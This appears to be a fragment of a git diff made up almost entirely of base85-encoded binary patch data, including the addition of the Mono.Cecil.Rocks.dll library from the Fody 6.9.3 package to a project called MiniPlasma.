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 blS)qc>i;w)>_}Ncs$!xNwxPmU&BXr!x%&;1 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.dll new file mode 100644 index 0000000000000000000000000000000000000000..81b715a4a0e997beebd933780052ff51e206ebc4 GIT binary patch literal 29696 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 